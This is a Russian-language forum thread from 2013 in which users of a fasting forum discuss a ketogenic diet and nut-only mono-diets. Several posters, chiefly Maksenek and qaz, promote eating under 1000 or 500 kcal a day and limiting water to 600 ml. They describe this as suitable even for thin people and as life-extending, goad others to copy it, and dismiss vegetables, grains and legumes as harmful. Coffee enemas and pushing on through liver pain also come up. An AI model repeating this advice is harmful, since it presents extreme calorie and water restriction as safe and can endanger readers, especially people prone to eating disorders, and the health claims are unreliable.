qaz, а как ты отличаешь голод от аппетита?

Голод - когда гликоген в печени закончился, только начинают активироваться механизмы расщепления собственных жиров, но перехода на внутреннее питание не происходит.
Аппетит - морду баловать.
Цитата:

Сообщение от Свеклуша (Сообщение 851310)
У каждого же свои критерии)))

Правда всегда одна! Каждый волен заблуждаться.

Свеклуша 15-10-2013 11:53

Re: Кетогенная диета
 
Резонно))))))))))))
Сам-то именно так питаешься?

qaz 15-10-2013 12:00

Re: Кетогенная диета
 
Стараюсь изо всех сил.)))

Iosif 21-10-2013 13:33

Re: Кетогенная диета
 
Цитата:

Сообщение от RomanK (Сообщение 849630)
Твердые овощи в сыром виде (типа брокколи, цветной, редиски) тоже не идут никак с мясом.

Белокочанная капуста хорошо после сквашивания.

Maksenek 22-10-2013 03:24

Re: Кетогенная диета
 
Цитата:

Сообщение от allright (Сообщение 851110)
И ты хочешь чтобы я малоедил? И так одежду фиг найдешь - либо широкое, либо короткое. Если я похудею, то буду выглядеть как недокормленный хипстер. Спасибо канеш, но я это не мое

Худеют только при умеренном ограничении калорий (1100-1900) - как в Обществе ОК. А при <1000 проблема скажем прямо противоположная - как бы похудеть)) Вот наглядный примерчик с цифрами (от Gold-orhi): http://tinyurl.com/d2nplz9 Так что, ультра-малоедение <1000 подойдет даже тем, кто комплексует по поводу худобы.:smirk:

allright 24-10-2013 16:40

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 852939)
Худеют только при умеренном ограничении калорий (1100-1900) - как в Обществе ОК. А при <1000 проблема скажем прямо противоположная - как бы похудеть)) Вот наглядный примерчик с цифрами (от Gold-orhi): http://tinyurl.com/d2nplz9 Так что, ультра-малоедение <1000 подойдет даже тем, кто комплексует по поводу худобы.:smirk:

Макс, у орхидеи такой образ жизни - вынужденная необходимость. У меня потребности в затратах энергии намного больше, а она из ничего не берется.

qaz 25-10-2013 00:13

Re: Кетогенная диета
 
Цитата:

Сообщение от allright (Сообщение 853594)
у орхидеи такой образ жизни - вынужденная необходимость. У меня потребности в затратах энергии намного больше, а она из ничего не берется.

Нажмите тут для просмотра всего текста
Нет вынужденной необходимости. Можно дальше падать по спирали вниз. Почему условно здоровые должны проигрывать в мотивациях условно больным?
Про энергию...
Цитата:

Сообщение от Pti4ka (Сообщение 852938)
А энергия действительно может быть бешенная - в соках много сахара, я когда-то жила месяц на двух стаканах апельсинового сока в день, скакала как горная коза.

Девчонки могут, а тебе слабо? :smirk:
Или на пример kukunja посмотри, у него кето питание раз в 2 дня, раз.
Брюкву тебе не предлагаю. )))

Maksenek 25-10-2013 02:10

Re: Кетогенная диета
 
Цитата:

Сообщение от allright (Сообщение 853594)
Макс, у орхидеи такой образ жизни - вынужденная необходимость. У меня потребности в затратах энергии намного больше, а она из ничего не берется.

В этом случае, нагрузки ведь не все 24 часа в сутки. Около 8 часов (треть жизни) уходит на сон, в это время можно сжигать на 65% меньше, уже солидная экономия. Далее, остальные 16 часов ведь не каждый день сплошная нагрузка - то же самое. Третье, на саму физактивность малоеды, похоже, также меньше тратят энергии за счет уменьшения теплообразования (а у обычно питающихся КПД мышц всего около 20%). Так что и так можно немало сэкономить - снизить траты во сне и отдыхе и при нагрузках. Если выйдет и больше 1000, то в любом случае намного меньше чем сейчас это точно. Но это если, конечно, есть желание попробовать продлить жизнь, уменьшить риск болезней и сохранить мозг к старости.

allright 25-10-2013 15:36

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 853702)
В этом случае, нагрузки ведь не все 24 часа в сутки. Около 8 часов (треть жизни) уходит на сон, в это время можно сжигать на 65% меньше, уже солидная экономия. Далее, остальные 16 часов ведь не каждый день сплошная нагрузка - то же самое. Третье, на саму физактивность малоеды, похоже, также меньше тратят энергии за счет уменьшения теплообразования (а у обычно питающихся КПД мышц всего около 20%). Так что и так можно немало сэкономить - снизить траты во сне и отдыхе и при нагрузках. Если выйдет и больше 1000, то в любом случае намного меньше чем сейчас это точно. Но это если, конечно, есть желание попробовать продлить жизнь, уменьшить риск болезней и сохранить мозг к старости.

Ответил в малоедении http://golodanie.su/forum/showthread...909#post853909

Silentium 30-10-2013 18:31

Re: Кетогенная диета
 
Цитата:

Сообщение от Sun-Moon (Сообщение 850949)
Про кетоз я уже написал причины почему это вредно. Зачем мне варианты жирноедения, что это даёт такого что затмевает его отрицательную сторону?

А я не пойму, кто-то заставляет что-ли?:hz:Вредно, так не ешь, чего воду мутить?

Maksenek 31-10-2013 02:02

Re: Кетогенная диета
 
Что скажете об ореховой кетогенной диете? Например, фундук или грецкий обеспечивают кетогенку 3:1. Орехи богаты пищевыми волокнами, по исследованиям, это продукт, наиболее ассоциированный с большей продолжительностью жизни, орехи не способствуют лишнему весу, снижают риски рака, диабета, депрессии, сердечно-сосудистых и других болезней.

qaz 31-10-2013 03:18

Re: Кетогенная диета
 
Maksenek, смотри в этих орехах соотношение Омеги3 и Омеги6. И в кето лучше белка поменьше.

Maksenek 31-10-2013 04:09

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 855293)
соотношение Омеги3 и Омеги6

Это рекомендуется для обычноедов, у которых по понятным причинам повышен риск воспаления и рака. То есть для них повышение соотношения омеги-3 к омеге-6 является как бы "лекарством". Орехи же, не только не повышают риск воспаления и рака, а наоборот - понижают:
Цитата:

Nut consumption has been associated with several health benefits, such as antioxidant, hypocholesterolemic, cardioprotective, anticancer, anti-inflammatory, and antidiabetic benefits, among other functional properties.
http://www.ncbi.nlm.nih.gov/pubmed/23044160
Так что надобности ни в каких "лекарствах" нет. И это уж не говоря о том что обычноеды получают свои омеги в основном из рафинированных масел и добавляемых в различные продукты жиров, которые лишены пищевых волокон, антиоксидантов, водорастворимых витаминов и прочих полезных нутриентов, содержащихся в цельных продуктах. Отсюда видно и происходит это диаметральное различие в их эффектах.
Цитата:

Сообщение от qaz (Сообщение 855293)
И в кето лучше белка поменьше.

В обычных орехах белка - от 9 до 15 % энергии, то есть в рамках рекомендуемого ВОЗ диапазона 10-15%, а также в соответствии со специальными смесями для кетогенного питания.

Silentium 31-10-2013 07:29

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 855291)
Что скажете об ореховой кетогенной диете?

То есть, вообще одними орехами питаться? А не надоест? :hz:

marla 31-10-2013 07:51

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 855291)
Что скажете об ореховой кетогенной диете?

http://paleodietlifestyle.com/are-nu...seeds-healthy/

:x

Maksenek 31-10-2013 08:09

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 855333)

marla, там нет ничего противоречащего тем научным исследованиям о пользе орехов для здоровья и долголетия.

Автор делает маргинальную экстраполяцию с обычноедов с их рафинированными маслами и жирами на орехи, которые несмотря на наличие тех же жиров действуют прямо противоположным образом.

Что касается его второй псевдо-страшилки о каких-то антинутриентах, ну что ж, раз эти антинутриенты в составе орехов способствуют продлению жизни и защите от рака, воспаления, диабета и ССЗ, то слава этим антинутриентам!:-)

В дальнейшем, просьба ссылаться на научные исследования и обзоры, а не спекуляции и фантазии различных фанатиков. Сколько я перечитал об орехах на пабмеде - везде сплошная и безоговорочная польза.:idea:

Maksenek 31-10-2013 08:17

Re: Кетогенная диета
 
Цитата:

Сообщение от Silentium (Сообщение 855330)
То есть, вообще одними орехами питаться? А не надоест? :hz:

Не знаю, не пробовал. Орехи одно из моих любимых лакомств с детства, посмотрим... Планирую начать после голодания.

Олег1099 31-10-2013 09:40

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 855340)
Орехи одно из моих любимых лакомств с детства, посмотрим...

под орехами и семечки подразумеваешь(подсолнечник, тыква)? помнится ты уже на семечках моноедил?

qaz 31-10-2013 09:51

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 855291)
Что скажете об ореховой кетогенной диете? Например, фундук или грецкий обеспечивают кетогенку 3:1. Орехи богаты пищевыми волокнами,

Макс, порцайку орехов дневную какую планируешь? Сколько раз в день собираешься орехи есть? Какой планируемый срок эксперимента?
Орехи катаболируются без твердого остатка? В перспективе к запору не приведут?

marla 31-10-2013 10:08

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 855338)
Сколько я перечитал об орехах на пабмеде - везде сплошная и безоговорочная польза.:idea:

А фитиновая кислота в орехах какая то особенная? Не такая, как в других семенах?
http://www.ncbi.nlm.nih.gov/pubmed/12949395
если судороги в ногах у нас с мужем не появлялис после того, как стали побольше есть орехов, то можно было и не верить страшилкам.
Вымачивание не помогает. Орехи не может быть основнои пищей, только лакомством иногда, в небольших количествах.

marla 31-10-2013 10:12

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 855340)
Планирую начать после голодания.

ну вот, из своего опыта и расскажешь :super:

allright 31-10-2013 10:13

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 855338)
marla, там нет ничего противоречащего тем научным исследованиям о пользе орехов для здоровья и долголетия.

Автор делает маргинальную экстраполяцию с обычноедов с их рафинированными маслами и жирами на орехи, которые несмотря на наличие тех же жиров действуют прямо противоположным образом.

Что касается его второй псевдо-страшилки о каких-то антинутриентах, ну что ж, раз эти антинутриенты в составе орехов способствуют продлению жизни и защите от рака, воспаления, диабета и ССЗ, то слава этим антинутриентам!:-)

В дальнейшем, просьба ссылаться на научные исследования и обзоры, а не спекуляции и фантазии различных фанатиков. Сколько я перечитал об орехах на пабмеде - везде сплошная и безоговорочная польза.:idea:

Макс, на пабмеде можно найти и за и против. К пирмеру тот же безобидный рис может быть сильным аллергеном, не говря уже про арахис , кешью кунжут и прочие. Хорошо если аллергия проявлется внешне и ты можешь определить опасный продукт, а что если твой иммунитет в ответ на прием аллергена запускает аутоимунную реакцию и поражает простату, почки, суставы, поджелудочную или еще чего? Для себя все больше склоняюсь к мысли, что любой зерновой-ореховый белок лучше из питания исключить.
Ну и ссылочки
http://www.ncbi.nlm.nih.gov/pubmed/11130145
http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3250595/
http://www.ncbi.nlm.nih.gov/pubmed/1725171

Maksenek 31-10-2013 10:28

Re: Кетогенная диета
 
Цитата:

Сообщение от Олег1099 (Сообщение 855355)
под орехами и семечки подразумеваешь(подсолнечник, тыква)? помнится ты уже на семечках моноедил?

Из всего списка доступных орехов и семечек большую часть исключил по ряду причин. Однако все они остаются в запасе - если вдруг какие-то из них захочется, то пожалуйста. А пока будет на выбор только грецкий, фундук и миндаль.

Малоедение на семечках было кратковременным, со значительной нехваткой энергии по причине периода адаптации к низкоуглеводке (начинал сразу, без предварительного голодания), тем не менее, самочувствие и настроение были отличными.:-)

Maksenek 31-10-2013 10:29

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 855360)
Макс, порцайку орехов дневную какую планируешь?

Нажмите тут для просмотра всего текста
Хотелось бы перейти после снижения обмена на голодании. В этом случае надеюсь, что убитая обменка и/или ограничение воды малоедными 600 мл должны сами лимитировать кол-во пищи. В противном случае, буду пробовать ограничения в диапазоне 500-1000 ккал.
Цитата:

Сколько раз в день собираешься орехи есть?
Хотелось бы по мере аппетита, но если он будет больше нужного, скорее всего раз в день или как лучше по самочувствию.
Цитата:

Какой планируемый срок эксперимента?
Эксперимент ненасильственный, поэтому никаких сроков нет, сколько будет желание продолжать столько и продлится.
Цитата:

Орехи катаболируются без твердого остатка?
Очень сомневаюсь.
Цитата:

В перспективе к запору не приведут?
По идее не должны из-за обилия пищевых волокон, но посмотрим.

Maksenek 31-10-2013 10:31

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 855362)
А фитиновая кислота в орехах какая то особенная? Не такая, как в других семенах?
http://www.ncbi.nlm.nih.gov/pubmed/12949395
если судороги в ногах у нас с мужем не появлялис после того, как стали побольше есть орехов, то можно было и не верить страшилкам.
Вымачивание не помогает. Орехи не может быть основнои пищей, только лакомством иногда, в небольших количествах.

Видно это у вас что-то уникальное.:hz: А что были за орехи? Я ел разные орехи и семечки в гигантских кол-вах (что больше не съесть) и никаких таких ужасов не было.

Maksenek 31-10-2013 10:32

Re: Кетогенная диета
 
Цитата:

Сообщение от allright (Сообщение 855365)
Макс, на пабмеде можно найти и за и против. К пирмеру тот же безобидный рис может быть сильным аллергеном, не говря уже про арахис , кешью кунжут и прочие. Хорошо если аллергия проявлется внешне и ты можешь определить опасный продукт, а что если твой иммунитет в ответ на прием аллергена запускает аутоимунную реакцию и поражает простату, почки, суставы, поджелудочную или еще чего? Для себя все больше склоняюсь к мысли, что любой зерновой-ореховый белок лучше из питания исключить.
Ну и ссылочки
http://www.ncbi.nlm.nih.gov/pubmed/11130145
http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3250595/
http://www.ncbi.nlm.nih.gov/pubmed/1725171

Спасибо за ссылки, изучу. Видимо это справедливо только для алергиков, поскольку по исследованиям, обычным людям орехи не только всячески улучшают здоровье но и - самое главное - продлевают жизнь.:idea:

marla 31-10-2013 10:39

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 855371)
А что были за орехи?

лесной орех и миндаль, и то, ето было не основная пища. Но так как мы не едим злаковых, то в рационе магния и так немного.

Maksenek 31-10-2013 10:49

Re: Кетогенная диета
 
Цитата:

Сообщение от marla (Сообщение 855374)
лесной орех и миндаль, и то, ето было не основная пища.

Ел и то и другое в больших кол-вах, и ничего такого. Возможно орехи были испорченные или пораженные болезнями, а может индивидуальная реакция в связи с предыдущим питанием и развитием соответствующей флоры. Мне как только начал есть орехи в больших кол-вах тоже бывало очень плохо (диарея, газообразование, плохое самочувствие), но потом без проблем. Видно дело в адаптации. Всё-таки, там много особых пищевых волокон которые очень любят бактерии, и в случае с непривычной к такому питанию флорой, в ЖКТ может произойти демо-взрыв какого-то вида (видов) бактерий, с сопутствующими симптомами бактериального роста и отравления бактериальными токсинами.

plush kitten 01-11-2013 20:10

Re: Кетогенная диета
 
Могу сказать, что орехи у меня вообще самая любимая вкусность - ем уже давно разные виды регулярно в больших количествах. Никаких траблов с ними никогда не было. Как-то ради интереса сдавал кровь на холестерин по фракциям. Листок сейчас найти не могу, но хорошо помню, что общий хол. и ЛПНП ниже нормы, а ЛПВП уверенно в норме (все как по учебнику!:-))

Другое дело, что именно за счет орехов за день слишком высокий калораж выходит.:-(

Maksenek 01-11-2013 20:14

Re: Кетогенная диета
 
Цитата:

Сообщение от plush kitten (Сообщение 855791)
но хорошо помню, что общий хол. и ЛПНП ниже нормы, а ЛПВП уверенно в норме (все как по учебнику!):-)

И в полном соответствии с научными исследованиями:idea:
Цитата:

Сообщение от plush kitten (Сообщение 855791)
Другое дело, что именно за счет орехов за день слишком высокий калораж выходит.

Ну это уже не орехов вина, а тех, кто шибко много их ест)))

Maksenek 05-11-2013 05:06

Re: Кетогенная диета
 
Посмотрел сейчас записи своей семечковой кетогенки. Она была только первые 8 дней (620 ккал, БЖУ 25-53-12) и вес всё это время стремительно падал. Потом поднял углеводы с прежних 12 до 60 г за счет добавления фиников. В результате, вес сразу немного поднялся, остановился на этом уровне и держался так 2 недели, не смотря на то что калорийность была 960 ккал (БЖУ 34-66-61). Затем немного сократил углеводы до 40 г, в результате вес сразу резко рухнул аж на 1 кг, и затем продолжил снижаться. За последующие 3 дня он снизился ещё на 1 кг, и всё это завершилось грандиозным срывом на углеводы (350 г - 6 суточных норм). Так что увы, кетогенка в моем (малоедном) случае оказалась мощной похудательной диетой. :( Придется есть 60 г углеводов в день, только каких? Злаки, бобовые и овощи не хочу из-за вреда для здоровья, а сладкое просто не хочется, отторжение какое-то...

LadyTA 05-11-2013 05:48

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 856563)
Злаки, бобовые и овощи не хочу из-за вреда для здоровья, а сладкое просто не хочется, отторжение какое-то...

Ну,вот.

Злаки--согласна, вред (кроме проращивани).

Но с остальным?

Бобовые спасают от паркинсона. (в сыром виде).

А овощи чем не угодили? Ну про вареные--это классика вреда, но сырые?

А сладкое вы как-бы легализуете?

Ну и ну...

Maksenek 05-11-2013 06:06

Re: Кетогенная диета
 
Цитата:

Сообщение от LadyTA (Сообщение 856568)
А сладкое вы как-бы легализуете?

Не-не, под сладостями я имел ввиду конечно не кондитерку, а фрукты-ягоды. К ним у меня претензий нет, но ко вкусу как-то потерял интерес. Не знаю, мож это просто пищевой глюк какой-то, и пройдет со временем? Всегда любил же...
Цитата:

Сообщение от LadyTA (Сообщение 856568)
Злаки--согласна, вред (кроме проращивани).

Злаки - это птичья и мышиная еда. В природном виде она для человека не только не съедобна, но и фактически недоступна в нужных количествах из-за трудностей сбора (даже если б в природе встречались сельхозугодья), так что нет и ещё раз нет в любом случае. А вымоченные и пророщенные - не еда вообще, за всю историю жизни на земле ни одно животное, в т.ч. человек, этим не питалось и не питается. У сыроедов от такой якобы "еды" читал такие эффекты, что уж лучше умру с голоду чем буду травить себя этим противоприродным суррогатом.
Цитата:

Сообщение от LadyTA (Сообщение 856568)
А овощи чем не угодили? Ну про вареные--это классика вреда, но сырые?

Есть сырые овощи, чтобы заполучить себе потом все "кризы", "чистки", дефициты и прочие прелести глупой разновидности веганосыроедения? Спасибо, нет.
Цитата:

Сообщение от LadyTA (Сообщение 856568)
Бобовые спасают от паркинсона. (в сыром виде).

Даже для обычноедов диетологи признают, что это не диетическая и очень тяжелая пища, тем более в сыром виде. Но вот если есть в небольшом кол-ве... это может быть вариант. Хотя есть сомнения насчет природности такой пищи, ведь круглый год это можно есть только сушеное, но как есть такое? Так что не, тоже не подходит.

qaz 05-11-2013 06:19

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 856563)
а сладкое просто не хочется, отторжение какое-то...

В/в сладкое (угли) вводить и вкусовое отторжение обойти можно.

Maksenek 05-11-2013 06:23

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 856572)
В/в сладкое (угли) вводить и вкусовое отторжение обойти можно.

Ну не в этом смысле отторжение.:D Я по-прежнему люблю сладкое и ем с удовольствием, но сейчас могу только в небольших количествах, в охоточку. А 60 г в день, думаю, будет надоедать.

qaz 05-11-2013 07:57

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 856573)
А 60 г в день, думаю, будет надоедать.

Замаскированные другим вкусом попробуй. Например кислые фрукты и ягоды, лук, чеснок, зеленые соки с трав, ......
Небольшой сладости попробуй, тыкву, например.

Maksenek 05-11-2013 08:08

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 856596)
Замаскированные другим вкусом попробуй. Например кислые фрукты и ягоды, лук, чеснок, зеленые соки с трав, ......
Небольшой сладости попробуй, тыкву, например.

Кислое исключается безоговорочно - зубы, эмаль, оскомина. Пробовал не раз и продолжения не планирую. Фрукты с зеленью и тем более с луком-чесноком - уж легче будет потерпеть лишнюю сладость. :) От вкуса тыквы всегда тошнило, как и от кабачков и патиссонов - даже от небольшого кол-ва. А учитывая содержание в них углеводов их придется есть по килограмму каждый день - абсолютно нереально даже на 1 день.

qaz 05-11-2013 08:42

Re: Кетогенная диета
 
Maksenek, тебе не угодишь.))) Не найдешь приемлемый продукт для углей, тогда останется глюкозу, растворенную в воде, в течении дня пить.
Цитата:

Сообщение от Maksenek (Сообщение 856601)
От вкуса тыквы всегда тошнило, как и от кабачков и патиссонов - даже от небольшого кол-ва. А учитывая содержание в них углеводов их придется есть по килограмму каждый день - абсолютно нереально даже на 1 день.

Хорошие продукты для малоедства. )))

Maksenek 05-11-2013 08:50

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 856608)
тогда останется глюкозу, растворенную в воде, в течении дня пить.

Вред рафинированных продуктов очевиден (дефициты) и доказан. Конечно нет.

qaz 05-11-2013 09:05

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 856613)
(дефициты)

Догонишься микроэлементами и витаминами, пыльцой, например.

Maksenek 05-11-2013 09:09

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 856616)
микроэлементами и витаминами

Не вариант, по исследованиям многие добавки могут быть вредны.
Цитата:

Сообщение от qaz (Сообщение 856616)
пыльцой, например.

Не восполнит при всем желании.

qaz 05-11-2013 10:27

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 856618)
Не вариант, по исследованиям многие добавки могут быть вредны.

Природные используй. Неужели ты подумал что я тебе фармсинтетику предложил.)))
Цитата:

Сообщение от Maksenek (Сообщение 856618)
Не восполнит при всем желании.

Не забывайся, Макс.))) Ты находишся в теме "Кетогенная диета", следовательно в твоем меню будут кетопродукты, из которых и будешь получать необходимые тебе "дефициты".
К тому же микрофлору свою ты зря что ли кормишь? Напряги её, пусть тебе поставляет аминки, витаминки, минералки, .....

Maksenek 05-11-2013 10:37

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 856638)
микрофлору свою ты зря что ли кормишь? Напряги её, пусть тебе поставляет ... минералки, .....

Холодным термоядом видать?:smirk: Хватит спамить, в любом случае рафинады и неестественные для наших предков продукты и смеси для меня исключены. Если нет больше идей по моему вопросу, спасибо что пытался помочь. :hi:

LadyTA 06-11-2013 01:21

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 856571)
Цитата:
Сообщение от LadyTA
Бобовые спасают от паркинсона. (в сыром виде).

Даже для обычноедов диетологи признают, что это не диетическая и очень тяжелая пища, тем более в сыром виде. Но вот если есть в небольшом кол-ве... это может быть вариант. Хотя есть сомнения насчет природности такой пищи, ведь круглый год это можно есть только сушеное, но как есть такое? Так что не, тоже не подходит.

Они, если сухие, легко замачиваются и даже проростают...

Maksenek 06-11-2013 04:37

Re: Кетогенная диета
 
Цитата:

Сообщение от LadyTA (Сообщение 856849)
Они, если сухие, легко замачиваются и даже проростают...

Пробовал раньше замачивать чечевицу и горох. Малосъедобно (даже если отбросить неестественность). Так что увы, не подходит.

plush kitten 06-11-2013 11:21

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 856563)
Злаки, бобовые и овощи не хочу из-за вреда для здоровья

Maksenek, а видел где-то конкретные исследования о вреде оных?

Традиционно овощи, цельные злаки диетологи считают за здоровую пищу, да и к бобовым сейчас благосклонное отношение.

ИМХО, чисто умозрительная конструкция, что раз наши далекие предки кашами не питались, бобовые не ели и корнеплоды не отваривали, то от всего этого современному человеку один вред. Были бы какие-то подтвержденные факты, чтоб зацепиться, тогда другое дело.....

Maksenek 06-11-2013 12:35

Re: Кетогенная диета
 
Цитата:

Сообщение от plush kitten (Сообщение 856963)
Традиционно овощи, цельные злаки диетологи считают за здоровую пищу, да и к бобовым сейчас благосклонное отношение.

Это смотря с чем сравнивать. Если с обычноедением (с кондитеркой, рафинированными, животными и обработанными продуктами), то конечно каши, бобовые и сырые овощи могут быть полезны, с этим не спорю. На фоне перечисленного много чего можно считать полезным.
Цитата:

Сообщение от plush kitten (Сообщение 856963)
Сообщение от Maksenek
Злаки, бобовые и овощи не хочу из-за вреда для здоровья

Да, тут я действительно излишне лаконично выразился. Более точно следовало бы "из-за предполагаемого вреда для здоровья по сравнению с сыро-малоедением на фруктах и орехах". Предположение основано на том, что это невидовая и/или плохо усваиваемая пища, вследствие чего есть опасения по поводу возможной нехватки тех или иных нутриентов.

qaz 06-11-2013 13:37

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 856985)
Предположение основано на том, что это невидовая и/или плохо усваиваемая пища,

Овощи в виде пюре, блендер или шнековая СВ в помощь, хорошо усваивают как прикорм даже младенцы после ГВ.
Экологичность овощей, фруктов это отдельный вопрос.
Цитата:

Сообщение от Maksenek (Сообщение 856985)
вследствие чего есть опасения по поводу возможной нехватки тех или иных нутриентов.

Напрасные опасения. Дефицит может быть из-за не видовой микрофлоры.

Maksenek 06-11-2013 14:01

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 857000)
блендер или шнековая СВ в помощь

Это не сделает пищу видовой, так что нет смысла.
Цитата:

Сообщение от qaz (Сообщение 857000)
Напрасные опасения. Дефицит может быть из-за не видовой микрофлоры.

Не удастся поддерживать видовую флору на невидовой пище.:smirk: Или ты полагаешь, что если например корова нарастит себе на травке видовую флору, то она потом сможет без проблем питаться мясом, древесиной и всем прочим?

Олег1099 07-11-2013 07:55

Re: Кетогенная диета
 
НЕМНОЖКО ПО ТЕМЕ - БЛИЖЕ К НАЗВАНИЮ))
провел неделю жесткого, как для меня лично, белково-жирового питания.
Собственно ел один раз на завтрак:
1.омлет из пяти куриных яиц по рецепту как описал в первом посту темы, с одним помидором и половиной очень острого перца стрючкового,
2.50гр свиного сала,
3.кофе, заваренный, из одной столовой ложки молотого кофе,
4.с одной столовой ложкой домашних сливок,
5.в прикуску со сливочным маслом, в количесвте 70гр.
после такого завтрака есть больше не хотелось в течении дня пил только воду или отвар шиповника с липой, энергии достаточно, психика очень уравновешена, такое себе непоколебимое плато, у меня такое было пару месяцев на сыро-мясоедении, так понравилось это состояние, что зародилась зависимость и желание его вернуть.
НО
на пятый и шестой день почувствовал тяжесть в печени с подташниванием, не сильные , но докучали во время обычной утренней зарядки с тяжестями.
А ВОТ НА СЕДЬМОЙ ДЕНЬ, еле-еле дотянул до конца свою обычную пятикилометровую утреннюю пробежку, ноги вообще отказывали, бежал старческой трусцой)), печень как какмень, тянула и болела, но болевой порог не пришел, ощущение, что вот-вот и будет как у начинающего бегуна боль от задышки в правом подреберье. Вечером того же дня понял, что психическое равновесие ушло и появился псих - не поем японских ролов, съезжу кому-нибудь по морде))) - думаю что это тяга к рису, к углеводам. Поехал в ресторан поел, причем, пока там был, четко заметил за собой внутреннее недовольство всем и всеми, через часик после еды попустило и успокоился)) захотел спать и уснул.
Утром следующего дня, макисмальная пауза на выдохе увеличилась на 20 сек, с 50 сек на 1 мин 10 сек, энергии столько, что аж руки трясутся, пульс обычный, психическое настроение ровное.
Вот как-то так.
Да еще, все семь дней язык покрывался густым налетом, очищал жеванием, прополиса или питьем стакана воды с половиной ложечки соли и ложечкой красного острого молотого перца.

Олег1099 07-11-2013 08:03

Re: Кетогенная диета
 
по поводу обсуждавшейся на форуме лактулозы, как способа развести в кишечнике бифидобактерии, до описанного недельного эксперимента, проводил трехнедельный эксперимент, принимая Лактувит по 1 ст. ложке в день, питание мое обычное, НИЧЕГО НЕ МЕНЯЛ.
В конце третьей недели, пот стал таким вонючим, что я превратился в скунса)), мойся не мойся - пофиг не помогает. Убрал Лактувит, пару дней по одной кофейной клизме(их я давно уже не делал) и все вернулось, потливость как была так и осталась(как по мне высокая, НО это побочка жирового питания, проверял убираю жиры уходит потливость), НО ЗАПАХ ИСЧЕЗ.
Не знаю, то ли бифиды дают такую вонь, то ли эту лактулозу с успехом едят и другие бактерии, поэтому не факт, что этой подкормкой разведешь симбионтов, если в кишечнике обитают враги, могут и они укрепиться.

LadyTA 07-11-2013 08:59

Re: Кетогенная диета
 
Цитата:

Сообщение от plush kitten (Сообщение 856963)
да и к бобовым сейчас благосклонное отношение.

в старой книге по домоводству было про замачивание бобовых--воду обязательно выливать, вредная она.

LadyTA 07-11-2013 09:05

Re: Кетогенная диета
 
Цитата:

Сообщение от Олег1099 (Сообщение 857225)
отвар шиповника с липой,

Шиповник лучше запаривать в термосе и потом обязательно процеживать, двойная марля. Из-за ворсинок-крючков. Может не печень, а кишечник?

qaz 07-11-2013 09:33

Re: Кетогенная диета
 
Цитата:

Сообщение от Олег1099 (Сообщение 857225)
провел неделю жесткого, как для меня лично, белково-жирового питания.

Заходить на такое питание лучше проведя 3 дн. СГ, побочек могло и не быть.
Цитата:

Сообщение от Олег1099 (Сообщение 857231)
по поводу обсуждавшейся на форуме лактулозы, как способа развести в кишечнике бифидобактерии, до описанного недельного эксперимента, проводил трехнедельный эксперимент, принимая Лактувит по 1 ст. ложке в день, питание мое обычное, НИЧЕГО НЕ МЕНЯЛ.

Лактулозу лучше пить на ЛГ, тогда через 2-3 недели ясно станет, кого она поддерживает и кто ее ест.

plush kitten 07-11-2013 10:59

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 856985)
"из-за предполагаемого вреда для здоровья по сравнению с сыро-малоедением на фруктах и орехах". Предположение основано на том, что это невидовая и/или плохо усваиваемая пища, вследствие чего есть опасения по поводу возможной нехватки тех или иных нутриентов.

Ну, вполне вероятно... По себе могу сказать, что именно к фруктам и овощам на свободном питании нерафинированными продуктами испытываю наибольшую тягу, естественное желание съесть что-либо другое возникает гораздо реже.

Проблема в том, что калораж на таком питании ограничить весьма проблематично.:4u:



Цитата:

Сообщение от LadyTA (Сообщение 857254)
в старой книге по домоводству было про замачивание бобовых--воду обязательно выливать, вредная она.

Да, бобовые замачиваю на сутки. Фасоль длительно варю, т.к. в сыром виде большинство видов фасоли непригодны к употреблению и даже ядовиты (например, кидни).

Олег1099 07-11-2013 13:32

Re: Кетогенная диета
 
Цитата:

Сообщение от LadyTA (Сообщение 857256)
Может не печень, а кишечник?

100% печень

Maksenek 07-11-2013 18:13

Re: Кетогенная диета
 
Цитата:

Сообщение от plush kitten (Сообщение 857302)
Проблема в том, что калораж на таком питании ограничить весьма проблематично.

Углеводы надо ограничивать - это доказанно снижает калораж, аппетит и обмен.

Приступил к своей ореховой монодиете. Вес не падает, а наоборот растет - наверно из-за большего чем тогда калоража. Так что может и не придется добавлять углеводы, тем более что их совсем не хочется. Похоже в рационе останется только миндаль, т.к. грецкий и фундук как-то не очень привлекают. Чем нравятся орехи, даже если их сильно переесть, никакого дискомфорта не возникает, в т.ч. термогенеза.

LadyTA 07-11-2013 20:30

Re: Кетогенная диета
 
Цитата:

Сообщение от Олег1099 (Сообщение 857369)
100% печень

Глоток подсолнечного масла по утрам?

Олег1099 08-11-2013 04:13

